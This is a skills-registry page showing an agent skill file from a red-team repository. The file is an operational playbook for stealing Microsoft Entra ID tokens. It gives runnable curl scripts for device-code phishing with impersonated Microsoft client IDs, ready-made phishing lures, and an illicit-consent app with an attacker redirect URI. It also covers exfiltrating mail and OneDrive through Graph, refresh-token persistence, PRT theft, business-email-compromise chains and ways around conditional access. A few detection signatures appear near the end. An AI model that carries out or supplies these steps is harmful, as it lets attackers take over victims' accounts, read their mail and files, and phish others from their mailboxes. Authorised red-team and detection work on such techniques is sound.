CtrlK
BlogDocsLog inGet started
Tessl Logo

entra-device-code-phishing

Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.

61

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md
SKILL.md
Quality
Evals
Security

Entra Device-Code & Illicit-Consent Phishing

Steal Entra ID tokens without ever owning the password. Two primary primitives:

  1. Device-code phishing — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.
  2. Illicit consent grant — register an app, get the user to consent to delegated Graph scopes.

Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.

Phase 1: Device-code flow

Request the device code

# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).
# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
# Teams:    1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Office:   d3590ed6-52b3-4102-aeff-aad2292ab01c
CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46
TENANT=<TENANT>     # or "common"
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
  -d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile")
echo "$resp" | jq .
DEV_CODE=$(echo "$resp" | jq -r .device_code)
USER_CODE=$(echo "$resp" | jq -r .user_code)
echo "Send target to: https://microsoft.com/devicelogin  CODE: $USER_CODE"

Pretext delivery

Email / Teams message saying "To join the secure briefing, open microsoft.com/devicelogin and enter code <USER_CODE>. Code expires in 15 minutes." — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.

Poll for the token

while :; do
  r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
    -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}")
  err=$(echo "$r" | jq -r .error)
  case "$err" in
    authorization_pending) sleep 5 ;;
    null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;;
    *) echo "ERR: $err" ; break ;;
  esac
done

Family-of-Client-IDs (FOCI) — single token, all Microsoft apps

The above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent:

# Swap to Outlook for mailbox access:
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
  -d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access"

TokenTactics / TokenTacticsV2 (PowerShell) automates the swap matrix.

Phase 2: Illicit consent grant (malicious app)

Register the attacker app

# Register in YOUR attacker tenant (multi-tenant).
# Redirect URI: https://<ATTACKER>/redirect  ; Sign-in audience: multi-tenant + personal MSA
# Add delegated scopes (NO admin consent needed):
#   Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile
# Capture App (client) ID = APP_ID
APP_ID=<APP_ID>

Craft the consent URL

SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"
REDIR=https://<ATTACKER>/redirect
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish"

Brand the app Contoso HR Portal or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has user consent for low-risk delegated scopes enabled (default in many tenants), the user single-clicks "Accept" and you have tokens.

Exchange code for tokens at your redirect

CODE=<CODE_FROM_REDIRECT>
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \
  | jq .

Phase 3: Token replay

# Mail exfil
curl -s -H "Authorization: Bearer $ACCESS" \
  "https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq .

# OneDrive exfil
curl -s -H "Authorization: Bearer $ACCESS" \
  "https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq .

# Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
  -d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}"

Phase 4: Primary Refresh Token (PRT) concepts

A PRT is the long-lived token issued to an Entra-joined / Entra-registered Windows device. It is bound to a device key in the TPM. With SYSTEM on the device:

# ROADtools roadtx (post-exploitation, requires local SYSTEM):
roadtx prt -u <UPN>            # extract PRT cookie via BrowserCore
roadtx browserprtauth          # use PRT to silently auth as the user → tokens for any FOCI app
# Or: Lee Christensen / Dirk-jan PoCs — request PRT + session key, mint x-ms-RefreshTokenCredential cookie.

A stolen PRT effectively == user identity until device revocation. Even MFA isn't re-prompted (PRT already carries MFA claim).

Chains

  • Device-code phish → FOCI swap → Outlook + OneDrive exfil → Teams pretext → second victim.
  • Illicit consent → Mail.Send delegated → internal phishing FROM victim mailbox (BEC).
  • Device-code phish on admin → Graph privesc (see entra-privesc § service-principal credential addition).
  • PRT theft (post-RCE on joined endpoint) → app tokens forever (until device disabled).

Tools

  • TokenTactics / TokenTacticsV2 (Steve Borosh) — PowerShell device-code + FOCI swap.
  • GraphRunner (Beau Bullock) — pull mail/files/teams from a stolen token; pivot via consent.
  • roadtx (ROADtools) — full device-code + PRT support.
  • 365-Stealer — illicit-consent automation.
  • o365 attack toolkit / Evilginx Microsoft phishlet — alternative path (full MitM).

Detection signatures

  • Entra Sign-in log: Application = Microsoft Authentication Broker or Microsoft Azure CLI from unusual ASN/country = device-code abuse hallmark.
  • Audit log: Consent to application event with ConsentType=User + Scopes containing Mail.Read/Files.Read.All from a non-IT identity.
  • MS Defender for Cloud Apps Unusual addition of credentials to an OAuth app alert.
  • Risky sign-in: unfamiliarFeatures + anonymousIP triggered by token replay from Tor/VPS.

Decision gate

  • CA blocks unmanaged devices → use FOCI swap to a client whose CA exclusion (Microsoft Intune Enrollment) is wider.
  • Tenant has User consent disabled → only admin-consent path → social-engineer a Global Admin or pre-existing app-owner.
  • Got Global Admin via consent? Pivot to entra-privesc for app-credential persistence (survives password reset).
  • Got mailbox tokens only? Run BEC playbook via Mail.Send before refresh token expires.
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.